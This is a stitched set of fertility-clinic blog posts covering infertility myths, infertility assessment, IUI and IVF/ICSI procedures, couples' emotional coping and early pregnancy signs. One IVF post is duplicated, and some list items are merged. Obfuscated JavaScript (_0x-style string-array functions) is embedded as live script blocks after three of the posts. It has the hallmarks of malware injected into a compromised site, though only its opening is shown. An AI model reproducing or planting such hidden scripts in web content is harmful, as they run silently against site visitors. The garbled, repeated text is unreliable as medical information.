infertile.</strong>\r\n\r\nInfertility is defined by the American College of Obstetricians and Gynecologists as not having become pregnant after twelve months of regular, unprotected sex. Some couples who struggle with subfertility—like women with PCOS or thyroid disorder—are able to conceive naturally with the right combination of lifestyle factors and/or medication. On the other hand, the CDC reports that 11% of couples who have had a child experience secondary infertility, meaning they are unable to conceive again.\r\n\r\n<strong>Myth 05: Infertility is mostly a female problem.</strong>\r\n\r\nOne in ten men have experienced infertility, yet nearly half of them have not sought medical help. Researchers at the University of California, Berkeley found that men had a higher rate of chromosomal abnormalities in their sperm when their diet was low in folic acid and vitamin E. And regardless of whether or not infertility is due to a male or female factor, infertility can often cause deep emotional suffering among men.\r\n\r\n<strong>Myth 06: When a couple adopts, they are more likely to get pregnant.</strong>\r\n\r\nThe National Infertility Association reports, “This is one of the most painful myths for couples to hear. First, it suggests that adoption is only a means to an end, not [a] happy and successful end in itself. Second, it is simply not true.” Studies reveal that infertile couples who adopt have the same rate of conceiving successfully as infertile couples who do not adopt.\r\n\r\n<strong>Myth 07: Taking the pill doesn\'t affect fertility.</strong>\r\n\r\nIt can take 3-6 months for your cycle to regulate after stopping the pill. The pill works by suppressing your natural hormones—which are responsible for ovulation—and it can take a few months for your hormones to balance out, even after all of the medication is out of your system.\r\n\r\n<strong>Myth 08: Age isn\'t a big factor in infertility.</strong>\r\n\r\nResearch published just this month shows that fertility declines significantly around the age of 35 for women. Professor Greg FitzHarris explains, “One of the main causes of female infertility is a defect in the eggs that causes them to have an abnormal number of chromosomes. These…become increasingly prevalent as a woman ages. This is a key reason that older women have trouble getting pregnant and having full-term pregnancies. It is also known that these defective eggs increase the risk of miscarriage and Down’s syndrome in full-term babies.”\r\n\r\n<strong>Myth 09: Infertility is only caused by reproductive problems.</strong>\r\n\r\nThe CDC lists that cause of infertility includes genetic abnormalities, certain acute and chronic diseases, exposure to certain environmental toxins, <a href=\"http://www.nufertility.com/blog/smoking-and-fertility/\" target=\"_blank\" rel=\"noopener\"><em>smoking</em></a>, and <a href=\"http://www.nufertility.com/blog/effects-of-alcohol-on-fertility/\" target=\"_blank\" rel=\"noopener\"><em>alcohol use</em></a> (more than one drink per day).\r\n\r\n<strong>Myth 10: Giving advice and solutions to infertility are the best answer.</strong>\r\n\r\nWhether a woman chooses to pursue fertility treatments or not, offering solutions for infertility may be well-intentioned, but they are emotionally and physically draining. “I’m here for you. I want to support you. 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</a>is defined as the inability to conceive after 12 months of unprotected, regular sexual intercourse.\r\n\r\n<!--more-->\r\n<strong>How common is the problem?</strong>\r\n\r\nInfertility is a medical condition that affects up to one in six couples of reproductive age\r\n\r\n<strong>What influences the infertility?</strong>\r\n\r\nThe single biggest influence on a couple’s chances of getting pregnant is woman’s age. Male infertility plays a close second to this, together affecting almost half of all infertile couples. As couples wait longer to have their first baby, establishing careers, relationship and financial stability first, the outcome is often increased difficulties in conceiving naturally.\r\n\r\n<strong>What are the causes of infertility?</strong>\r\n\r\nCauses of infertility are varied and can include:\r\n<ul>\r\n 	<li>Problem with the production of sperm or eggs.</li>\r\n 	<li>Structural or functional issues with the female or male reproductive systems.</li>\r\n 	<li>Hormone or immune conditions in men, women or both.</li>\r\n</ul>\r\n<strong>How do we assess female infertility?</strong>\r\n\r\nThe first step for couples seeking fertility treatment begins with a thorough assessment of both partners, including a detailed medical history and number of routine tests.\r\n\r\nTo measure female fertility, the following tests are often performed:\r\n<ul>\r\n 	<li>Ovulation test – a quick blood test to asses if the woman is producing an egg each month or not.</li>\r\n 	<li>Ultrasound scan – a scan to look at the condition of the uterus and presence of issues like fibroids, cysts or Polycystic Ovarian Syndrome (PCOS).</li>\r\n 	<li>Ovarian Reserve (AMH Test) – a blood test that measures the level of AMH hormone to help estimate the number of eggs she has, especially when they are at risk of decreased ovarian reserve. Eg: advanced maternal age/ history of previous ovarian surgery / history of cancer chemotherapy or pelvic radiation.</li>\r\n</ul>\r\nSometimes fertility specialists also perform additional tests, including a hysterosalphingogram (HSG), sonohysterogram or a diagnostic laparoscopy, to better assess the condition of the woman’s fallopian tubes, ovaries and uterus.\r\n\r\n<strong>How do we assess male infertility?</strong>\r\n\r\nThe most important diagnostic test to assess male infertility is a semen analysis. In nearly all cases, man does not display any obvious outward signs or symptoms that may indicate an issue with his <a href=\"https://www.nuhospitals.com/fertility/\" target=\"_blank\" rel=\"noopener\"><em>fertility.</em></a>\r\n\r\nSpecialist Andrology assessment of sperm is essential to measure:\r\n<ul>\r\n 	<li>The number of sperm, volume and consistency of the sample.</li>\r\n 	<li>The size and shape (morphology) and ability to move (mobility) of the sperm, both of which can interfere with penetration and fertilization of an egg.</li>\r\n</ul>\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/IVF2-300x213.png\" /></center><strong>What treatment options are available for infertility?</strong>\r\n\r\nThere are numerous treatment options for couples struggling with infertility. At the simpler end of the scale, follicular tracking by ultrasound, to detect ovulation is an important starting point for many couples, as they are taught to identify the most fertile days of woman’s cycle. This helps them to time intercourse accordingly for the best chance of conceiving. A step up from this, Ovulation Induction uses medication to regulate the woman’s cycle so she is ovulating regularly.\r\n\r\n<a href=\"http://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em><strong>Intra-uterine Insemination</strong> (IUI)</em></a> is another option for couples with unexplained infertility and is a simple way to achieve pregnancy. A prepared sperm sample is injected into the upper part of a woman’s uterus around the time she is ovulating; ovulation can occur either spontaneously or with hormone treatment.\r\n\r\nA more advanced treatment option, In vitro Fertilization (IVF) is used in cases involving male and female fertility issues and requires the retrieval of eggs from the woman’s ovaries so they can be fertilized with the man’s sperm in the laboratory. The resulting embryos are then inserted into the woman’s womb to achieve pregnancy.\r\n\r\nIn case of severe male infertility, Intra Cytoplasmic Sperm Injection (ICSI) is the gold standard in treatment options. Used alongside IVF, an embryologist only needs one live sperm cell in the semen sample for selection and injection directly into the body of the female egg to enable fertilization daily.\r\n\r\n<strong>Overview of an IVF Cycle</strong>\r\n\r\n<center><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/1.png\" /></center>\r\n<b>IUI- Intrauterine Insemination</b>\r\n\r\n<center><img src=\"http://www.nuhospitals.com/wp-content/uploads/2015/12/ivf4-300x191.png\" /></center><strong>What is the right time to have a baby?</strong>\r\n\r\nWomen 35 years and older are encouraged to get medical advice if they haven’t conceived within 6 months of trying naturally, while women under 35 years can try for up to 12 months before seeking medical help. Starting early and getting the right help is the key to success when trying for a baby.\r\n\r\n<strong>Reference</strong>\r\n<ul>\r\n 	<li>Diagnostic evaluation of the infertile female; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no6, june 2015, 0015-0282</li>\r\n 	<li>Diagnostic evaluation of the infertile male; a committee opinion:practice committee, ASRM: Fertility and sterility, vol 103, no3, March 2015, 0015-0282</li>\r\n</ul>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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rel=\"noopener\"><strong>Intrauterine insemination (IUI)</strong></a></em> is a type of artificial insemination in which there is a transfer of many motile (actively swimming) sperm, through the cervix and directly into the uterus.\r\n\r\n<!--more-->\r\n<strong>WHY IS IUI PERFORMED?</strong>\r\n<ul>\r\n 	<li>Lack of conception after a woman has been on ovulation enhancing agents. This can be particularly important when taking Clomiphene since it can cause decreased cervical mucus</li>\r\n 	<li>Cervical factor</li>\r\n 	<li>Mild to moderately abnormal semen parameters can be an indication for IUI</li>\r\n 	<li>Unexplained infertility</li>\r\n 	<li>Minimal – mild endometriosis</li>\r\n 	<li>Advancing maternal age</li>\r\n 	<li>Male ejaculatory dysfunction</li>\r\n 	<li>Use of frozen sperm</li>\r\n 	<li>When donor sperm needs to be used</li>\r\n</ul>\r\n[caption id=\"\" align=\"alignnone\" width=\"300\"]<a href=\"http://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog2-300x50.png\" alt=\"iui treatment in India\" width=\"300\" height=\"50\" /></a> IUI fertility treatment[/caption]\r\n\r\n<strong>HOW IS AN IUI PERFORMED?</strong>\r\n\r\nAn IUI is performed by threading a very thin flexible catheter through the cervix and injecting washed sperm directly into the uterus. It usually requires the insertion of a speculum and then the catheter. The whole process takes only few minutes.\r\n\r\n<strong>WHEN IS THE BEST TIME TO DO AN IUI?</strong>\r\n\r\nIdeally an IUI should be performed around the time of ovulation. When timing is based on an hCG (human chorionic gonadotropin) injection, the IUI’s are usually done between 24 and 48 hours later. If two IUI’s are scheduled, they are usually spaced at least 24 hours apart.\r\n\r\n<strong>Where is the sperm collected? How long before the IUI?</strong>\r\n\r\nUsually the sample is collected through ejaculation into a sterile collection cup. Most clinics want the semen to be delivered within a half hour of ejaculation, around the time of liquefaction, so if one lives close enough the sample can be collected at home.\r\n\r\nThere will delay between when the semen sample is given for washing and when it will be inseminated. The amount of time depends on the washing technique used, which takes 30 minutes to two hours. Most will perform the IUI as soon after washing is completed as possible.\r\n\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog4.png\" />\r\n\r\n<strong>How long does washed sperm live?</strong>\r\n\r\nCurrent research indicates that washed sperm can live 24-72 hours; however, it does lose potency (ability to fertilize the egg) after 24 hours. Another issue with IUI is that the sperm can keep on swimming beyond the fallopian tube, so the ideal window is really within 6-12 hours of the egg being released, with a larger margin before ovulation than after since the egg’s viability is shorter. Sperm can live up to 5 days in fertile mucus, 2-3 days being pretty common, so combining IUI with intercourse may provide better coverage.\r\n\r\n<strong>How long do I have to lie down after an IUI?</strong>\r\n\r\nIt is advisable to lie down for 30 minutes after the procedure.\r\n\r\n<strong>Do I need to rest after an IUI?</strong>\r\n\r\nMost people don’t need to, but if you had cramping or don’t feel well afterward it makes sense to take rest for awhile. Some people reduce their aerobic activity and lifting heavy weights during the luteal phase, in the hope that, it will increase the chance of implantation.\r\n\r\n<strong>How long before an IUI should the male abstain from intercourse/ejaculating and store up sperm?</strong>\r\n\r\nThis depends on your individual situation, but it usually should not be more than 72 hours since his last ejaculation in order to ensure the best motility and morphology. Where <em><strong><a href=\"http://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank\" rel=\"noopener\">low sperm count</a></strong></em> is the reason for IUI, it is generally best to wait 48 hours between ejaculation and collecting sperm for the IUI. With no sperm count issues, it makes sense to wait at least 24 hours.\r\n\r\n<strong>How soon after an IUI can I have intercourse?</strong>\r\n\r\nUsually you can have intercourse anytime after an IUI. In fact, most doctors suggest having intercourse, when that is an option, soon after the last IUI to help make sure ovulation is covered. The doctor may suggest waiting 48 hours to resume relations if you had any bleeding during the IUI.\r\n\r\n<strong>What are the risks involved in IUI?</strong>\r\n\r\nThe main risks are some discomfort such as cramping, minor injury to the cervix that leads to bleeding or spotting, or introduction of infection .There are also risks of hyperstimulation associated with the use of ovulation induction medications such as clomiphene citrate (low risk) and gonadotropin therapy (higher risk). Proper technique and adequate monitoring reduce risks.\r\n\r\n<strong>When will I have to test for pregnancy after an IUI?</strong>\r\n\r\nPregnancy test should be done 2 weeks after an IUI.\r\n\r\n<strong>Reference</strong>\r\n\r\nhttps://www.asrm.org/FACTSHEET_Intrauterine_Insemination_IUI/\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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fertilization)</strong></a> or test tube baby as it is commonly called is a procedure in which the eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.\r\n\r\n<!--more-->\r\n<strong>Who needs an IVF?</strong>\r\n\r\nIVF may be considered if,\r\n<ul>\r\n 	<li>you have been diagnosed with unexplained infertility</li>\r\n 	<li>your fallopian tubes are blockedother techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful</li>\r\n 	<li>other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successfulthe male partner has fertility problems and an abnormal semen analysis</li>\r\n 	<li>The male partner has fertility problems and an abnormal semen analysis</li>\r\n 	<li>you are using your partner’s frozen sperm in your treatment and IUI is not suitable for you</li>\r\n 	<li>you are using donated eggs or your own frozen eggs in your treatment</li>\r\n 	<li>you are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n 	<li>If you have severe endometriosis</li>\r\n</ul>\r\n<strong>What do I expect during my treatment cycle?</strong>\r\n\r\nYour treatment cycle would be as follows\r\n\r\n<strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a day care procedure called hysteroscopy to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anaesthesia during the procedure and hence there will be no pain.\r\n\r\n<strong>Step 2:</strong> Your husband has to freeze one semen sample as a back up.\r\n\r\n<strong>Step 3:</strong> Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as a ovulation trigger.\r\n\r\n<strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anaesthesia, using a transvaginal ultrasound guidance. You will be discharged same evening, unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.\r\n\r\n<strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.\r\n\r\n<strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using an abdominal ultrasound guidance. The procedure is usually painless, no anaesthesia is required and you will be discharged in about two to three hours.\r\n\r\n<strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval till your pregnancy check. You will be called for a pregnancy check 16-17 days after your embryo transfer.\r\n\r\n<strong>What precautions do I take during the IVF treatment?</strong>\r\n<ul>\r\n 	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n 	<li>Be stress free and relax your mind</li>\r\n 	<li>Avoid intercourse during the treatment.</li>\r\n 	<li>Don’t do strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ul>\r\n<strong>How do I prepare myself for an egg retrieval procedure?</strong>\r\n\r\nYou will get admitted to the hospital early in the morning, between 6am – 7am and you have to be empty stomach atleast 6-8 hours before the procedure. You will be administered light anaesthesia as intravenous medication. The procedure is done vaginally using the scan guidance and a small needle. The entire procedure takes about 20-30 minutes. Post procedure you may have slight pain or bleeding which usually subsides with medication. You will be discharged about 6 hours later.\r\n\r\n<strong>What do I expect during embryo transfer?</strong>\r\n\r\nIt is done 3-5 days following the egg retrieval, which will be decided by your clinician. No anaesthesia is required as it is a painless procedure. Rarely during your initial assessment if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anaesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bedrest until your pregnancy check. This does not increase your chances of becoming pregnant.\r\n\r\nICS\r\n\r\n[caption id=\"\" align=\"alignnone\" width=\"248\"]<a href=\"http://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\" alt=\"ICSI Clinic in Bangalore\" width=\"248\" height=\"219\" /></a> ICSI Treatment[/caption]\r\n\r\nIVF\r\n\r\n[caption id=\"\" align=\"alignnone\" width=\"242\"]<a href=\"http://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\" alt=\"IVF Centre in Bangalore\" width=\"242\" height=\"185\" /></a> IVF Treatment[/caption]\r\n\r\n<strong>What is ICSI? How does it differ from IVF?</strong>\r\n\r\nICSI –<a href=\"http://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"> <em>Intracytoplasmic sperm injection,</em></a> is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.\r\n\r\n<strong>What is the success rate?</strong>\r\n\r\nSuccess rate varies with multiple factors especially the age of the women, egg and the sperm quality and the underlying cause of <a href=\"http://nufertility.com\" target=\"_blank\" rel=\"noopener\"><strong><em>infertility</em></strong></a>. Over all the success varies between 40-50 %. Success decreases as the age of the woman increases.\r\n\r\n<strong>What is frozen embryo transfer?</strong>\r\n\r\nSurplus embryos after your transfer can be frozen and kept in liquid nitrogen at -180 degree Celsius, for later use.\r\n\r\n<strong>What are the complications?</strong>\r\n\r\nTwo most important complications of IVF are\r\n<ul>\r\n 	<li>Multiple pregnancy (20-25%)</li>\r\n 	<li>Ovarian hyperstimulation syndrome which occurs due to excessive response and can be prevented b appropriate modifications in the medications</li>\r\n 	<li>Rarely ovaries may twist causing acute pain and may require a laparoscopy</li>\r\n</ul>\r\n<strong>When can I know if I have become pregnant?</strong>\r\n\r\nYou will be tested for beta HCG – a blood test to confirm pregnancy 14 to 16 days after your embryo transfer\r\n\r\n<strong>Is my pregnancy going to be more riskier after IVF?</strong>\r\n\r\nThere is no evidence to show that IVF babies have increased rate of abnormalities. The pregnancy outcome will be like a normal conception but your doctor may have a low threshold for intervention when the problem arises.\r\n\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>Fertility: assessment and treatment for people with fertility problems.NICE clinical guideline ;– Issued: February 2013.</li>\r\n 	<li>van Loendersloot LL, van Wely M, Limpens J, Bossuyt PM, Repping S, van der Veen F (2010). “Predictive factors in in vitro fertilization (IVF): a systematic review and meta-analysis”. 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fertilization)</em></strong></a> or test tube baby as it is commonly called is a procedure in which the eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.\r\n\r\n<!--more-->\r\n<strong>Who needs an IVF?</strong>\r\n\r\nIVF may be considered if,\r\n<ul>\r\n 	<li>you have been diagnosed with unexplained infertility</li>\r\n 	<li>your fallopian tubes are blockedother techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful</li>\r\n 	<li>other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successfulthe male partner has fertility problems and an abnormal semen analysis</li>\r\n 	<li>The male partner has fertility problems and an abnormal semen analysis</li>\r\n 	<li>you are using your partner’s frozen sperm in your treatment and IUI is not suitable for you</li>\r\n 	<li>you are using donated eggs or your own frozen eggs in your treatment</li>\r\n 	<li>you are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n 	<li>If you have severe endometriosis</li>\r\n</ul>\r\n<strong>What do I expect during my treatment cycle?</strong>\r\n\r\nYour treatment cycle would be as follows\r\n\r\n<strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a day care procedure called hysteroscopy to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anaesthesia during the procedure and hence there will be no pain.\r\n\r\n<strong>Step 2:</strong> Your husband has to freeze one semen sample as a back up.\r\n\r\n<strong>Step 3:</strong> Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as a ovulation trigger.\r\n\r\n<strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anaesthesia, using a transvaginal ultrasound guidance. You will be discharged same evening, unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.\r\n\r\n<strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.\r\n\r\n<strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using an abdominal ultrasound guidance. The procedure is usually painless, no anaesthesia is required and you will be discharged in about two to three hours.\r\n\r\n<strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval till your pregnancy check. You will be called for a pregnancy check 16-17 days after your embryo transfer.\r\n\r\n<strong>What precautions do I take during the IVF treatment?</strong>\r\n<ul>\r\n 	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n 	<li>Be stress free and relax your mind</li>\r\n 	<li>Avoid intercourse during the treatment.</li>\r\n 	<li>Don’t do strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ul>\r\n<strong>How do I prepare myself for an egg retrieval procedure?</strong>\r\n\r\nYou will get admitted to the hospital early in the morning, between 6am – 7am and you have to be empty stomach atleast 6-8 hours before the procedure. You will be administered light anaesthesia as intravenous medication. The procedure is done vaginally using the scan guidance and a small needle. The entire procedure takes about 20-30 minutes. Post procedure you may have slight pain or bleeding which usually subsides with medication. You will be discharged about 6 hours later.\r\n\r\n<strong>What do I expect during embryo transfer?</strong>\r\n\r\nIt is done 3-5 days following the egg retrieval, which will be decided by your clinician. No anaesthesia is required as it is a painless procedure. Rarely during your initial assessment if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anaesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bedrest until your pregnancy check. This does not increase your chances of becoming pregnant.\r\n\r\nICS\r\n\r\n[caption id=\"\" align=\"alignnone\" width=\"248\"]<a href=\"http://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\" alt=\"ICSI Clinic in Bangalore\" width=\"248\" height=\"219\" /></a> ICSI Treatment[/caption]\r\n\r\nIVF\r\n\r\n[caption id=\"\" align=\"alignnone\" width=\"242\"]<a href=\"http://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\" alt=\"IVF Centre in Bangalore\" width=\"242\" height=\"185\" /></a> IVF Treatment[/caption]\r\n\r\n<strong>What is ICSI? How does it differ from IVF?</strong>\r\n\r\nICSI –<a href=\"http://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"> <em>Intracytoplasmic sperm injection,</em></a> is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.\r\n\r\n<strong>What is the success rate?</strong>\r\n\r\nSuccess rate varies with multiple factors especially the age of the women, egg and the sperm quality and the underlying cause of <a href=\"http://nufertility.com\" target=\"_blank\" rel=\"noopener\"><strong><em>infertility</em></strong></a>. Over all the success varies between 40-50 %. Success decreases as the age of the woman increases.\r\n\r\n<strong>What is frozen embryo transfer?</strong>\r\n\r\nSurplus embryos after your transfer can be frozen and kept in liquid nitrogen at -180 degree Celsius, for later use.\r\n\r\n<strong>What are the complications?</strong>\r\n\r\nTwo most important complications of IVF are\r\n<ul>\r\n 	<li>Multiple pregnancy (20-25%)</li>\r\n 	<li>Ovarian hyperstimulation syndrome which occurs due to excessive response and can be prevented b appropriate modifications in the medications</li>\r\n 	<li>Rarely ovaries may twist causing acute pain and may require a laparoscopy</li>\r\n</ul>\r\n<strong>When can I know if I have become pregnant?</strong>\r\n\r\nYou will be tested for beta HCG – a blood test to confirm pregnancy 14 to 16 days after your embryo transfer\r\n\r\n<strong>Is my pregnancy going to be more riskier after IVF?</strong>\r\n\r\nThere is no evidence to show that IVF babies have increased rate of abnormalities. The pregnancy outcome will be like a normal conception but your doctor may have a low threshold for intervention when the problem arises.\r\n\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>Fertility: assessment and treatment for people with fertility problems.NICE clinical guideline ;– Issued: February 2013.</li>\r\n 	<li>van Loendersloot LL, van Wely M, Limpens J, Bossuyt PM, Repping S, van der Veen F (2010). “Predictive factors in in vitro fertilization (IVF): a systematic review and meta-analysis”. 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target=\"_blank\" rel=\"noopener\"><em><strong>infertility</strong></em></a> in different ways. Most couples experience the struggle in much the same way. This is related to the traditional ways men and women have been trained to think, feel and act.\r\n\r\nWomen are typically seen, by others as well as themselves, as the emotional caretakers or providers of the relationship.\r\n\r\n<!--more-->\r\n\r\nWomen typically feel responsible not only for everyone’s bad feelings, but also for anything bad that happens. When women try to repress feelings, their emotions can become more ominous until they finally feel out of control. Their emotions can become a monster about to swallow them whole.\r\n\r\nWomen in infertile couples often protect their husbands from their own pain and feelings of failure by taking much of the responsibility for the treatments upon themselves. When it is suggested that men accompany their wives for appointments, couples get concerned about issues like income loss, use of time, etc. While these concerns are usually relevant and important, they also serve the purpose of protecting husbands from their own responsibility in the conception process and from their own feelings, which could easily be intensified by so much contact with the medical process.\r\n\r\nMen are traditionally seen as the financial providers of the relationship and are responsible for protecting the family from real or imagined dangers. Men usually feel more threatened expressing themselves since they have often been conditioned to repress their emotions. They are trained to be more instructional to take charge, to make decisions and to think without being sidetracked by emotions.\r\n\r\nMales in infertile couples often feel overwhelmed by the intensity of their partner’s emotions as well as an inability to access their own. They tend to focus their energy back into their work, a place where they feel they can have more success.\r\n\r\nAs a result of taking responsibility for the emotional impact of the <a href=\"http://nufertility.com/ivf-icsi\"><strong>infertility</strong></a>, the woman experiences intense feelings, such as pain, anger, fear, etc., which, combined with the messages that her way of dealing with things is in some way dysfunctional or “crazy”, causes her to feel an anxious depression. As feelings spill out, she feels out of control and doesn’t really know how to ask for what she needs, especially from the husband she is struggling so hard to protect. She may yearn for an emotional connection/interaction at one moment and in the next withdraw emotionally from her husband when she fears she has disappointed him.\r\n\r\nMen find themselves in a position where, regardless of how well they’ve been trained to solve problems, they are helpless to make this situation better for the woman and, as a result, may give off messages that she is “too” emotional or sensitive, hoping that this will calm her down. The wife hears this as criticism of her coping and care taking skills rather than as an expression of her husband’s fears.\r\n\r\nThis is the time when couples cling together for dear life, feeling that they’ve failed in the most basic of all roles: reproduction. Couples are hesitant to admit problems in their marriage, feeling that having difficulty coping would mean that their marriage is also a failure.\r\n\r\nLuckily, there are ways that men and women can help each other balance thinking and feeling as they struggle side by side on their journey toward parenthood. The questions then arise: How do I get what I need from my partner? How can I support for my partner during this difficult time?\r\n\r\nHere are some suggestions to help both partners during the infertility process:\r\n<ul>\r\n 	<li>Communicate openly with each other.</li>\r\n 	<li>Realize there’s no right or wrong way to feel. Getting in touch with your feelings will help you know what you need. Once needs are identified, clearly and specifically tell your partner how to help you.</li>\r\n 	<li>Ask your partner what she/he needs rather than assuming that you can/cannot give it.</li>\r\n 	<li>Recognize the psychological and emotional differences between men and women.</li>\r\n 	<li>See if you can teach each other some of the skills you’ve learned from your own life experiences as man or woman.</li>\r\n 	<li>Share more in the <a href=\"http://www.nufertility.com/ivf-icsi\" target=\"_blank\" rel=\"noopener\"><em><strong>process of treatment</strong></em></a>. Share both the burdens and joys of your different perceptions/experiences of infertility. It will help to balance the intensity and bring you closer with a deeper respect for each other.</li>\r\n</ul>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Prickling, tingling nipples</strong>\r\n\r\nAs pregnancy hormones increase the blood supply to your breasts, you may feel a tingling sensation around your nipples.\r\n\r\nThis can be one of the earliest symptoms of pregnancy, and is sometimes noticeable within a week or so of conception. Once your body gets used to the hormone surge, this sensation will subside.\r\n\r\n<!--more-->\r\n\r\n<strong>2. Spotting and cramping</strong>\r\n\r\nIt’s not uncommon to have some spotting at the time you’d usually have your period. You may notice a slight pink or brown-coloured stain in your knickers, or when you wee, or feel slight cramping.\r\n\r\nExperts aren’t sure why spotting in very early pregnancy happens. It’s thought either to be caused by the <a href=\"http://www.nufertility.com/blastocyst-transfer\" target=\"_blank\" rel=\"noopener\"><em><strong>fertilised</strong></em> <em><strong>egg implanting</strong></em></a> in your womb, or the hormones that control your periods kicking in.\r\n\r\nExperts aren’t sure why spotting in very early pregnancy happens. It’s thought either to be caused by the fertilised egg implanting in your womb, or the hormones that control your periods kicking in.\r\n\r\nIf you have any bleeding that seems unusual, see your doctor to be on the safe side.\r\n\r\n<strong>3. Feeling sick</strong>\r\n\r\nIf you’re lucky, you’ll escape nausea completely. However, morning sickness is a common symptom of early pregnancy. It often starts when you’re about six weeks pregnant, though it can start as early as four weeks.\r\n\r\nYou may feel sick and queasy, or even vomit. Despite the name, morning sickness can affect you at any time of the day, or night.\r\n\r\n<strong>4. Tender, swollen breasts</strong>\r\n\r\nOnce you are about six weeks pregnant, your breasts may become increasingly sensitive. It’s similar to how they feel before you have a period, but more so.\r\n\r\nYou may notice that your breasts are larger and swollen, with veins visible just below the skin. Tenderness tends to be most common in the first trimester, easing as pregnancy progresses.\r\n\r\n<strong>5. Feeling tired</strong>\r\n\r\nExhausted? You may find yourself diving for your duvet as your body cranks up to support your baby, right from the early stages of pregnancy. Pregnancy hormones in your body are to blame, as these can make you feel tired, upset and 